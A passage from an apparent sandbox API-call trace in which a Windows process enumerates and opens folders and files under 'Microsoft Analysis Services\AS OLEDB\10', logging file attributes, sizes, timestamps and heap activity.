cFileName="Cartridges", cAlternateFileName="")) returned 1 [0070.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0070.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22308 [0070.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0070.455] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0070.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.455] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0070.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.455] NtClose (Handle=0x158) returned 0x0 [0070.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22308) returned 1 [0070.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22308 [0070.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22410 [0070.456] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0070.458] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.458] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22518 [0070.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20630 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22620 [0070.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.458] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20650 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22728 [0070.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.459] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20670 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22830 [0070.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.459] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20690 [0070.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22938 [0070.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa206b0 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22a40 [0070.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa206d0 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22b48 [0070.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa206f0 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22c50 [0070.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.461] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20710 [0070.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22d58 [0070.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.461] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0070.461] GetLastError () returned 0x12 [0070.461] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0070.461] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0070.461] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.461] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0070.462] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0070.462] GetLastError () returned 0x12 [0070.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22410) returned 1 [0070.462] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22518) returned 1 [0070.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22308) returned 1 [0070.463] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0070.463] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0070.463] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0070.463] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0070.463] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0070.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22308 [0070.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0070.463] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0070.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.463] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0070.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.463] NtClose (Handle=0x124) returned 0x0 [0070.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22308) returned 1 [0070.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22308 [0070.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22518 [0070.464] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 